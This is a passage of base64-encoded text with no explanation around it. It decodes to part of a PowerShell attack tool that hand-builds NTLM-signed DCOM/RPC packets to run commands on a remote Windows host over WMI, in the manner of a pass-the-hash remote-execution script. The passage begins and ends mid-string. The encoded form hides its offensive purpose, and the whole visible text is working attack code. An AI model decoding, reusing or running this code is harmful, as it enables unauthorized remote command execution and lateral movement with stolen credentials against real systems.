1dGhfdXNlcm5hbWVfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICROVExNdjJfcmVzcG9uc2UNCg0KICAgICAgICAgICAgJEhNQUNfTUQ1LmtleSA9ICRjbGllbnRfc2lnbmluZ19rZXkNCiAgICAgICAgICAgIFtCeXRlW11dJHNlcXVlbmNlX251bWJlciA9IDB4MDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICRwYWNrZXRfUlBDID0gR2V0LVBhY2tldFJQQ0FVVEgzICROVExNU1NQX3Jlc3BvbnNlDQogICAgICAgICAgICAkcGFja2V0X1JQQ1siUlBDQVVUSDNfQ2FsbElEIl0gPSAweDAyLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAkcGFja2V0X1JQQ1siUlBDQVVUSDNfQXV0aExldmVsIl0gPSAweDA0DQogICAgICAgICAgICAkUlBDID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9SUEMNCiAgICAgICAgICAgICRXTUlfY2xpZW50X3NlbmQgPSAkUlBDDQogICAgICAgICAgICAkV01JX2NsaWVudF9yYW5kb21fcG9ydF9zdHJlYW0uV3JpdGUoJFdNSV9jbGllbnRfc2VuZCwwLCRXTUlfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAkV01JX2NsaWVudF9yYW5kb21fcG9ydF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgJHBhY2tldF9SUEMgPSBHZXQtUGFja2V0UlBDUmVxdWVzdCAweDgzIDc2IDE2IDQgMHgwMiwweDAwLDB4MDAsMHgwMCAweDAwLDB4MDAgMHgwMywweDAwICRvYmplY3RfVVVJRA0KICAgICAgICAgICAgJHBhY2tldF9yZW1fcXVlcnlfaW50ZXJmYWNlID0gR2V0LVBhY2tldERDT01SZW1RdWVyeUludGVyZmFjZSAkY2F1c2FsaXR5X0lEX2J5dGVzICRJUElEIDB4ZDYsMHgxYywweDc4LDB4ZDQsMHhkMywweGU1LDB4ZGYsMHg0NCwweGFkLDB4OTQsMHg5MywweDBlLDB4ZmUsMHg0OCwweGE4LDB4ODcNCiAgICAgICAgICAgICRwYWNrZXRfTlRMTVNTUF92ZXJpZmllciA9IEdldC1QYWNrZXROVExNU1NQVmVyaWZpZXIgNCAweDA0ICRzZXF1ZW5jZV9udW1iZXINCiAgICAgICAgICAgICRSUEMgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1JQQw0KICAgICAgICAgICAgJHJlbV9xdWVyeV9pbnRlcmZhY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X3JlbV9xdWVyeV9pbnRlcmZhY2UNCiAgICAgICAgICAgICROVExNU1NQX3ZlcmlmaWVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OVExNU1NQX3ZlcmlmaWVyDQogICAgICAgICAgICAkSE1BQ19NRDUua2V5ID0gJGNsaWVudF9zaWduaW5nX2tleQ0KICAgICAgICAgICAgJFJQQ19zaWduYXR1cmUgPSAkSE1BQ19NRDUuQ29tcHV0ZUhhc2goJHNlcXVlbmNlX251bWJlciArICRSUEMgKyAkcmVtX3F1ZXJ5X2ludGVyZmFjZSArICROVExNU1NQX3ZlcmlmaWVyWzAuLjExXSkNCiAgICAgICAgICAgICRSUENfc2lnbmF0dXJlID0gJFJQQ19zaWduYXR1cmVbMC4uN10NCiAgICAgICAgICAgICRwYWNrZXRfTlRMTVNTUF92ZXJpZmllclsiTlRMTVNTUFZlcmlmaWVyX05UTE1TU1BWZXJpZmllckNoZWNrc3VtIl0gPSAkUlBDX3NpZ25hdHVyZQ0KICAgICAgICAgICAgJE5UTE1TU1BfdmVyaWZpZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05UTE1TU1BfdmVyaWZpZXINCiAgICAgICAgICAgICRXTUlfY2xpZW50X3NlbmQgPSAkUlBDICsgJHJlbV9xdWVyeV9pbnRlcmZhY2UgKyAkTlRMTVNTUF92ZXJpZmllcg0KICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLldyaXRlKCRXTUlfY2xpZW50X3NlbmQsMCwkV01JX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLkZsdXNoKCkgICAgDQogICAgICAgICAgICAkV01JX2NsaWVudF9yYW5kb21fcG9ydF9zdHJlYW0uUmVhZCgkV01JX2NsaWVudF9yZWNlaXZlLDAsJFdNSV9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICRXTUlfY2xpZW50X3N0YWdlID0gJ2V4aXQnDQoNCiAgICAgICAgICAgIGlmKCRXTUlfY2xpZW50X3JlY2VpdmVbMl0gLWVxIDMgLWFuZCBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRXTUlfY2xpZW50X3JlY2VpdmVbMjQuLjI3XSkgLWVxICcwNS0wMC0wMC0wMCcpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICIkb3V0cHV0X3VzZXJuYW1lIFdNSSBhY2Nlc3MgZGVuaWVkIG9uICR0YXJnZXRfbG9uZyIgICANCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZigkV01JX2NsaWVudF9yZWNlaXZlWzJdIC1lcSAzKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRlcnJvcl9jb2RlID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkV01JX2NsaWVudF9yZWNlaXZlWzI3Li4yNF0pDQogICAgICAgICAgICAgICAgJGVycm9yX2NvZGUgPSAkZXJyb3JfY29kZSAtcmVwbGFjZSAiLSIsIiINCiAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIkZhaWxlZCB3aXRoIGVycm9yIGNvZGUgMHgkZXJyb3JfY29kZSINCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZigkV01JX2NsaWVudF9yZWNlaXZlWzJdIC1lcSAyKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRXTUlfZGF0YSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFdNSV9jbGllbnRfcmVjZWl2ZSkNCiAgICAgICAgICAgICAgICAkV01JX2RhdGEgPSAkV01JX2RhdGEgLXJlcGxhY2UgIi0iLCIiDQogICAgICAgICAgICAgICAgJE9YSURfaW5kZXggPSAkV01JX2RhdGEuSW5kZXhPZigkT1hJRCkNCiAgICAgICAgICAgICAgICAkT1hJRF9ieXRlc19pbmRleCA9ICRPWElEX2luZGV4IC8gMg0KICAgICAgICAgICAgICAgICRvYmplY3RfVVVJRDIgPSAkV01JX2NsaWVudF9yZWNlaXZlWygkT1hJRF9ieXRlc19pbmRleCArIDE2KS4uKCRPWElEX2J5dGVzX2luZGV4ICsgMzEpXQ0KICAgICAgICAgICAgICAgICRXTUlfY2xpZW50X3N0YWdlID0gJ0FsdGVyQ29udGV4dCcNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIlNvbWV0aGluZyB3ZW50IHdyb25nIg0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBXcml0ZS1WZXJib3NlICJBdHRlbXB0aW5nIGNvbW1hbmQgZXhlY3V0aW9uIg0KICAgICAgICAgICAgJHJlcXVlc3Rfc3BsaXRfaW5kZXggPSA1NTAwDQoNCiAgICAgICAgICAgIDpXTUlfZXhlY3V0ZV9sb29wIHdoaWxlICgkV01JX2NsaWVudF9zdGFnZSAtbmUgJ2V4aXQnKQ0KICAgICAgICAgICAgew0KDQogICAgICAgICAgICAgICAgaWYoJFdNSV9jbGllbnRfcmVjZWl2ZVsyXSAtZXEgMykNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRlcnJvcl9jb2RlID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkV01JX2NsaWVudF9yZWNlaXZlWzI3Li4yNF0pDQogICAgICAgICAgICAgICAgICAgICRlcnJvcl9jb2RlID0gJGVycm9yX2NvZGUgLXJlcGxhY2UgIi0iLCIiDQogICAgICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiRmFpbGVkIHdpdGggZXJyb3IgY29kZSAweCRlcnJvcl9jb2RlIg0KICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zdGFnZSA9ICdleGl0Jw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIHN3aXRjaCAoJFdNSV9jbGllbnRfc3RhZ2UpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICdBbHRlckNvbnRleHQnDQogICAgICAgICAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoICgkc2VxdWVuY2VfbnVtYmVyWzBdKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFsdGVyX2NvbnRleHRfY2FsbF9JRCA9IDB4MDMsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFsdGVyX2NvbnRleHRfY29udGV4dF9JRCA9IDB4MDIsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWx0ZXJfY29udGV4dF9VVUlEID0gMHhkNiwweDFjLDB4NzgsMHhkNCwweGQzLDB4ZTUsMHhkZiwweDQ0LDB4YWQsMHg5NCwweDkzLDB4MGUsMHhmZSwweDQ4LDB4YTgsMHg4Nw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zdGFnZV9uZXh0ID0gJ1JlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgMQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFsdGVyX2NvbnRleHRfY2FsbF9JRCA9IDB4MDQsMHgwMCwweDAwLDB4MDAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhbHRlcl9jb250ZXh0X2NvbnRleHRfSUQgPSAweDAzLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFsdGVyX2NvbnRleHRfVVVJRCA9IDB4MTgsMHhhZCwweDA5LDB4ZjMsMHg2YSwweGQ4LDB4ZDAsMHgxMSwweGEwLDB4NzUsMHgwMCwweGMwLDB4NGYsMHhiNiwweDg4LDB4MjANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2VfbmV4dCA9ICdSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDYNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhbHRlcl9jb250ZXh0X2NhbGxfSUQgPSAweDA5LDB4MDAsMHgwMCwweDAwIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWx0ZXJfY29udGV4dF9jb250ZXh0X0lEID0gMHgwNCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhbHRlcl9jb250ZXh0X1VVSUQgPSAweDk5LDB4ZGMsMHg1NiwweDk1LDB4OGMsMHg4MiwweGNmLDB4MTEsMHhhMywweDdlLDB4MDAsMHhhYSwweDAwLDB4MzIsMHg0MCwweGM3DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfY2xpZW50X3N0YWdlX25leHQgPSAnUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9SUEMgPSBHZXQtUGFja2V0UlBDQWx0ZXJDb250ZXh0ICRhc3NvY19ncm91cCAkYWx0ZXJfY29udGV4dF9jYWxsX0lEICRhbHRlcl9jb250ZXh0X2NvbnRleHRfSUQgJGFsdGVyX2NvbnRleHRfVVVJRA0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQyA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDDQogICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zZW5kID0gJFJQQw0KICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLldyaXRlKCRXTUlfY2xpZW50X3NlbmQsMCwkV01JX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLkZsdXNoKCkgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9yYW5kb21fcG9ydF9zdHJlYW0uUmVhZCgkV01JX2NsaWVudF9yZWNlaXZlLDAsJFdNSV9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfY2xpZW50X3N0YWdlID0gJFdNSV9jbGllbnRfc3RhZ2VfbmV4dA0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJ1JlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X3NwbGl0ID0gJGZhbHNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaCAoJHNlcXVlbmNlX251bWJlclswXSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzZXF1ZW5jZV9udW1iZXIgPSAweDAxLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2ZsYWdzID0gMHg4Mw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9hdXRoX3BhZGRpbmcgPSAxMg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jYWxsX0lEID0gMHgwMywweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jb250ZXh0X0lEID0gMHgwMiwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X29wbnVtID0gMHgwMywweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X1VVSUQgPSAkb2JqZWN0X1VVSUQyDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRob3N0bmFtZV9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2hvc3RuYW1lLkxlbmd0aCArIDEpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfY2xpZW50X3N0YWdlX25leHQgPSAnQWx0ZXJDb250ZXh0Jw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKFtCb29sXSgkYXV0aF9ob3N0bmFtZS5MZW5ndGggJSAyKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfYnl0ZXMgKz0gMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9ob3N0bmFtZV9ieXRlcyArPSAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3R1Yl9kYXRhID0gMHgwNSwweDAwLDB4MDcsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAgKyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjYXVzYWxpdHlfSURfYnl0ZXMgKyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDIsMHgwMCArIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhvc3RuYW1lX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRob3N0bmFtZV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHByb2Nlc3NfSURfYnl0ZXMgKyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAxDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2VxdWVuY2VfbnVtYmVyID0gMHgwMiwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9mbGFncyA9IDB4ODMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfYXV0aF9wYWRkaW5nID0gOA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jYWxsX0lEID0gMHgwNCwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jb250ZXh0X0lEID0gMHgwMywweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X29wbnVtID0gMHgwMywweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X1VVSUQgPSAkSVBJRA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zdGFnZV9uZXh0ID0gJ1JlcXVlc3QnDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0dWJfZGF0YSA9IDB4MDUsMHgwMCwweDA3LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwICsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2F1c2FsaXR5X0lEX2J5dGVzICsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgMg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNlcXVlbmNlX251bWJlciA9IDB4MDMsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfZmxhZ3MgPSAweDgzDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2F1dGhfcGFkZGluZyA9IDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfY2FsbF9JRCA9IDB4MDUsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfY29udGV4dF9JRCA9IDB4MDMsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9vcG51bSA9IDB4MDYsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9VVUlEID0gJElQSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW0J5dGVbXV0kV01JX25hbWVzcGFjZV9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCR0YXJnZXRfc2hvcnQuTGVuZ3RoICsgMTQpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJFdNSV9uYW1lc3BhY2VfdW5pY29kZSA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVuaWNvZGUuR2V0Qnl0ZXMoIlxcJHRhcmdldF9zaG9ydFxyb290XGNpbXYyIikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2VfbmV4dCA9ICdSZXF1ZXN0Jw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKFtCb29sXSgkdGFyZ2V0X3Nob3J0Lkxlbmd0aCAlIDIpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX25hbWVzcGFjZV91bmljb2RlICs9IDB4MDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfbmFtZXNwYWNlX3VuaWNvZGUgKz0gMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3R1Yl9kYXRhID0gMHgwNSwweDAwLDB4MDcsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNhdXNhbGl0eV9JRF9ieXRlcyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAyLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9uYW1lc3BhY2VfbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9uYW1lc3BhY2VfbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfbmFtZXNwYWNlX3VuaWNvZGUgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwNCwweDAwLDB4MDIsMHgwMCwweDA5LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwOSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4NjUsMHgwMCwweDZlLDB4MDAsMHgyZCwweDAwLDB4NTUsMHgwMCwweDUzLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDJjLDB4MDAsMHg2NSwweDAwLDB4NmUsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAzDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2VxdWVuY2VfbnVtYmVyID0gMHgwNCwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9mbGFncyA9IDB4ODMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfYXV0aF9wYWRkaW5nID0gOA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jYWxsX0lEID0gMHgwNiwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jb250ZXh0X0lEID0gMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X29wbnVtID0gMHgwNSwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X1VVSUQgPSAkb2JqZWN0X1VVSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2VfbmV4dCA9ICdSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2RhdGEgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRXTUlfY2xpZW50X3JlY2VpdmUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfZGF0YSA9ICRXTUlfZGF0YSAtcmVwbGFjZSAiLSIsIiINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE9YSURfaW5kZXggPSAkV01JX2RhdGEuSW5kZXhPZigkT1hJRCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE9YSURfYnl0ZXNfaW5kZXggPSAkT1hJRF9pbmRleCAvIDINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJElQSUQyID0gJFdNSV9jbGllbnRfcmVjZWl2ZVsoJE9YSURfYnl0ZXNfaW5kZXggKyAxNikuLigkT1hJRF9ieXRlc19pbmRleCArIDMxKV0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9yZW1fcmVsZWFzZSA9IEdldC1QYWNrZXREQ09NUmVtUmVsZWFzZSAkY2F1c2FsaXR5X0lEX2J5dGVzICRvYmplY3RfVVVJRDIgJElQSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0dWJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfcmVtX3JlbGVhc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2VxdWVuY2VfbnVtYmVyID0gMHgwNSwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9mb